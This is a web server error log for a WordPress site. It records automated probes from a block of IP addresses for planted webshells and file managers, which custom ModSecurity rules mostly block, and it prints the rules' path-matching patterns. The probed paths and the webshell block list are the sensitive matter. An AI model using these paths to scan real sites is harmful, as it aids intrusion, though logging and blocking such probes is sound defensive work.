[Mon Feb 23 12:01:32.869602 2026] [:error] [pid 25295:tid 25327] [client 45.132.224.143:64963] [client 45.132.224.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aZvRHI2Av4J1Jnqi7yKkcQAAAIA"]
[Mon Feb 23 12:01:33.479524 2026] [proxy_fcgi:error] [pid 39640:tid 39680] [client 45.132.224.117:48283] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:33.663181 2026] [proxy_fcgi:error] [pid 39640:tid 39673] [client 45.132.224.117:48283] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:33.852670 2026] [:error] [pid 39640:tid 39683] [client 45.132.224.117:48283] [client 45.132.224.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aZvRHdsK--eVCgzvvudpNgAAAo0"]
[Mon Feb 23 12:01:34.384863 2026] [proxy_fcgi:error] [pid 39640:tid 39685] [client 45.132.224.143:36687] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:34.566171 2026] [proxy_fcgi:error] [pid 39640:tid 39672] [client 45.132.224.143:36687] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:34.978702 2026] [proxy_fcgi:error] [pid 39640:tid 39674] [client 45.132.224.143:36687] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:35.678263 2026] [:error] [pid 39640:tid 39671] [client 45.132.224.143:36687] [client 45.132.224.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aZvRH9sK--eVCgzvvudpQQAAAoE"]
[Mon Feb 23 12:01:36.020791 2026] [proxy_fcgi:error] [pid 39540:tid 39575] [client 45.132.224.129:40727] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:37.723789 2026] [:error] [pid 39540:tid 39585] [client 45.132.224.129:40727] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aZvRIbsgm9aTWhlRScLkfgAAAdA"]
[Mon Feb 23 12:01:38.403258 2026] [proxy_fcgi:error] [pid 39640:tid 39692] [client 45.132.224.137:26021] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:38.964709 2026] [proxy_fcgi:error] [pid 39640:tid 39691] [client 45.132.224.137:26021] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:39.137160 2026] [proxy_fcgi:error] [pid 39640:tid 39685] [client 45.132.224.137:26021] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:39.501294 2026] [:error] [pid 39640:tid 39671] [client 45.132.224.137:26021] [client 45.132.224.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.137, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aZvRI9sK--eVCgzvvudpTQAAAoE"]
[Mon Feb 23 12:01:39.859836 2026] [proxy_fcgi:error] [pid 39640:tid 39676] [client 45.132.224.137:26021] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:40.448787 2026] [:error] [pid 39640:tid 39692] [client 45.132.224.137:26021] [client 45.132.224.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aZvRJNsK--eVCgzvvudpVAAAApY"]
[Mon Feb 23 12:01:40.793609 2026] [proxy_fcgi:error] [pid 25293:tid 25309] [client 45.132.224.127:42983] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:40.983954 2026] [:error] [pid 25293:tid 25301] [client 45.132.224.127:42983] [client 45.132.224.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aZvRJOL9XfBf66iHi_eUjAAAAAI"]
[Mon Feb 23 12:01:41.348631 2026] [proxy_fcgi:error] [pid 39540:tid 39573] [client 45.132.224.110:47799] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:41.705385 2026] [proxy_fcgi:error] [pid 39540:tid 39576] [client 45.132.224.110:47799] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:42.060436 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.110:47799] [client 45.132.224.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aZvRJrsgm9aTWhlRScLkngAAAdU"]
[Mon Feb 23 12:01:42.585477 2026] [proxy_fcgi:error] [pid 39540:tid 39589] [client 45.132.224.106:64591] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:42.770616 2026] [proxy_fcgi:error] [pid 39540:tid 39584] [client 45.132.224.106:64591] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:43.147235 2026] [:error] [pid 39540:tid 39591] [client 45.132.224.106:64591] [client 45.132.224.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aZvRJ7sgm9aTWhlRScLkqAAAAdY"]
[Mon Feb 23 12:01:44.777213 2026] [:error] [pid 39540:tid 39569] [client 45.132.224.155:64253] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aZvRKLsgm9aTWhlRScLkrgAAAcA"]
[Mon Feb 23 12:01:45.136305 2026] [proxy_fcgi:error] [pid 39639:tid 39655] [client 45.132.224.132:46451] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:45.308404 2026] [proxy_fcgi:error] [pid 39639:tid 39653] [client 45.132.224.132:46451] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:45.688222 2026] [:error] [pid 39639:tid 39649] [client 45.132.224.132:46451] [client 45.132.224.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aZvRKRpFkMoMi8uTUUMwyAAAAkY"]
[Mon Feb 23 12:01:46.043542 2026] [proxy_fcgi:error] [pid 25380:tid 25405] [client 45.132.224.139:54991] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:46.419893 2026] [proxy_fcgi:error] [pid 25380:tid 25398] [client 45.132.224.139:54991] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:46.588329 2026] [:error] [pid 25380:tid 25397] [client 45.132.224.139:54991] [client 45.132.224.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aZvRKqKrc8yFQ8fy78p7AAAAAM8"]
[Mon Feb 23 12:01:47.135731 2026] [:error] [pid 25294:tid 25366] [client 45.132.224.134:61195] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/db.php"] [unique_id "aZvRKyRCFB3CqIo_jfaPKAAAAFA"]
[Mon Feb 23 12:01:47.486514 2026] [:error] [pid 39540:tid 39581] [client 45.132.224.136:42275] [client 45.132.224.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aZvRK7sgm9aTWhlRScLksQAAAcw"]
[Mon Feb 23 12:01:47.827705 2026] [:error] [pid 39540:tid 39583] [client 45.132.224.121:48409] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aZvRK7sgm9aTWhlRScLkswAAAc4"]
[Mon Feb 23 12:01:48.339528 2026] [:error] [pid 25380:tid 25385] [client 45.132.224.126:43151] [client 45.132.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aZvRLKKrc8yFQ8fy78p7BQAAAMM"]
[Mon Feb 23 12:01:48.719963 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.121:30285] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aZvRLKKrc8yFQ8fy78p7BwAAANc"]
[Mon Feb 23 12:01:49.096069 2026] [:error] [pid 25380:tid 25406] [client 45.132.224.125:23165] [client 45.132.224.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aZvRLaKrc8yFQ8fy78p7CgAAANg"]
[Mon Feb 23 12:01:49.902809 2026] [:error] [pid 25380:tid 25401] [client 45.132.224.106:26427] [client 45.132.224.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aZvRLaKrc8yFQ8fy78p7FAAAANM"]
[Mon Feb 23 12:01:50.290300 2026] [:error] [pid 39540:tid 39583] [client 45.132.224.122:20517] [client 45.132.224.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aZvRLrsgm9aTWhlRScLk0gAAAc4"]
[Mon Feb 23 12:01:50.682003 2026] [:error] [pid 25380:tid 25395] [client 45.132.224.156:54259] [client 45.132.224.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aZvRLqKrc8yFQ8fy78p7HQAAAM0"]
[Mon Feb 23 12:01:51.198841 2026] [:error] [pid 39540:tid 39580] [client 45.132.224.135:37123] [client 45.132.224.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aZvRL7sgm9aTWhlRScLk6QAAAcs"]
[Mon Feb 23 12:01:51.963117 2026] [:error] [pid 39640:tid 39689] [client 45.132.224.127:58323] [client 45.132.224.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aZvRL9sK--eVCgzvvudpaAAAApM"]
[Mon Feb 23 12:01:52.334442 2026] [proxy_fcgi:error] [pid 39538:tid 39552] [client 45.132.224.131:46279] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:53.108722 2026] [:error] [pid 39538:tid 39565] [client 45.132.224.131:46279] [client 45.132.224.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.131, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aZvRMS4Zk8-cQOG3ZnozQgAAAZc"]
[Mon Feb 23 12:01:54.001870 2026] [proxy_fcgi:error] [pid 39538:tid 39559] [client 45.132.224.131:46279] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:54.181742 2026] [:error] [pid 39538:tid 39547] [client 45.132.224.131:46279] [client 45.132.224.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aZvRMi4Zk8-cQOG3ZnozSQAAAYU"]
[Mon Feb 23 12:01:54.639523 2026] [:error] [pid 29909:tid 29921] [client 45.132.224.140:25549] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aZvRMj9oc2QzltksUk64WAAAAQo"]
[Mon Feb 23 12:01:55.650230 2026] [proxy_fcgi:error] [pid 25294:tid 25330] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:55.826123 2026] [proxy_fcgi:error] [pid 25294:tid 25360] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:56.524819 2026] [proxy_fcgi:error] [pid 25294:tid 25373] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:56.709870 2026] [proxy_fcgi:error] [pid 25294:tid 25368] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:57.442922 2026] [proxy_fcgi:error] [pid 25294:tid 25351] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:57.628768 2026] [proxy_fcgi:error] [pid 25294:tid 25370] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:57.805014 2026] [proxy_fcgi:error] [pid 25294:tid 25364] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:57.993888 2026] [proxy_fcgi:error] [pid 25294:tid 25366] [client 45.132.224.144:58479] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:58.167016 2026] [:error] [pid 25294:tid 25328] [client 45.132.224.144:58479] [client 45.132.224.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aZvRNiRCFB3CqIo_jfaPPAAAAEA"]
[Mon Feb 23 12:01:58.561915 2026] [:error] [pid 25380:tid 25395] [client 45.132.224.126:41331] [client 45.132.224.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aZvRNqKrc8yFQ8fy78p7ZQAAAM0"]
[Mon Feb 23 12:01:58.912492 2026] [:error] [pid 39540:tid 39573] [client 45.132.224.144:30241] [client 45.132.224.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aZvRNrsgm9aTWhlRScLlHgAAAcQ"]
[Mon Feb 23 12:01:59.480362 2026] [proxy_fcgi:error] [pid 39540:tid 39569] [client 45.132.224.127:37583] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:01:59.676753 2026] [proxy_fcgi:error] [pid 39540:tid 39584] [client 45.132.224.127:37583] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:00.034229 2026] [proxy_fcgi:error] [pid 39540:tid 39574] [client 45.132.224.127:37583] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:00.403539 2026] [:error] [pid 39540:tid 39580] [client 45.132.224.127:37583] [client 45.132.224.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aZvROLsgm9aTWhlRScLlLQAAAcs"]
[Mon Feb 23 12:02:00.762672 2026] [:error] [pid 39540:tid 39570] [client 45.132.224.129:30865] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aZvROLsgm9aTWhlRScLlLgAAAcE"]
[Mon Feb 23 12:02:01.135273 2026] [:error] [pid 25380:tid 25394] [client 45.132.224.109:51685] [client 45.132.224.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aZvROaKrc8yFQ8fy78p7ewAAAMw"]
[Mon Feb 23 12:02:02.996624 2026] [:error] [pid 39540:tid 39572] [client 45.132.224.156:20783] [client 45.132.224.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aZvROrsgm9aTWhlRScLlPQAAAcM"]
[Mon Feb 23 12:02:03.565082 2026] [:error] [pid 39540:tid 39592] [client 45.132.224.129:43597] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aZvRO7sgm9aTWhlRScLlQAAAAdc"]
[Mon Feb 23 12:02:04.406256 2026] [:error] [pid 39540:tid 39584] [client 45.132.224.129:44179] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aZvRPLsgm9aTWhlRScLlRAAAAc8"]
[Mon Feb 23 12:02:05.154243 2026] [proxy_fcgi:error] [pid 39640:tid 39693] [client 45.132.224.106:40537] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:05.532779 2026] [proxy_fcgi:error] [pid 39640:tid 39690] [client 45.132.224.106:40537] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:07.074531 2026] [:error] [pid 39640:tid 39678] [client 45.132.224.106:40537] [client 45.132.224.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aZvRP9sK--eVCgzvvudpiwAAAog"]
[Mon Feb 23 12:02:07.455078 2026] [proxy_fcgi:error] [pid 39640:tid 39693] [client 45.132.224.110:54835] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:07.859295 2026] [:error] [pid 39640:tid 39675] [client 45.132.224.110:54835] [client 45.132.224.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/about.php"] [unique_id "aZvRP9sK--eVCgzvvudpkQAAAoU"]
[Mon Feb 23 12:02:08.801611 2026] [proxy_fcgi:error] [pid 39639:tid 39647] [client 45.132.224.113:37265] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:09.442121 2026] [proxy_fcgi:error] [pid 39639:tid 39658] [client 45.132.224.113:37265] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:09.610534 2026] [:error] [pid 39639:tid 39652] [client 45.132.224.113:37265] [client 45.132.224.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "aZvRQRpFkMoMi8uTUUMw8AAAAkk"]
[Mon Feb 23 12:02:10.362351 2026] [:error] [pid 39538:tid 39559] [client 45.132.224.120:51017] [client 45.132.224.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "aZvRQi4Zk8-cQOG3ZnozUAAAAZE"]
[Mon Feb 23 12:02:11.058910 2026] [proxy_fcgi:error] [pid 39639:tid 39645] [client 45.132.224.130:63825] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:11.897743 2026] [:error] [pid 39639:tid 39648] [client 45.132.224.130:63825] [client 45.132.224.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "aZvRQxpFkMoMi8uTUUMw_wAAAkU"]
[Mon Feb 23 12:02:13.385231 2026] [:error] [pid 39540:tid 39579] [client 45.132.224.157:21297] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "aZvRRbsgm9aTWhlRScLlWwAAAco"]
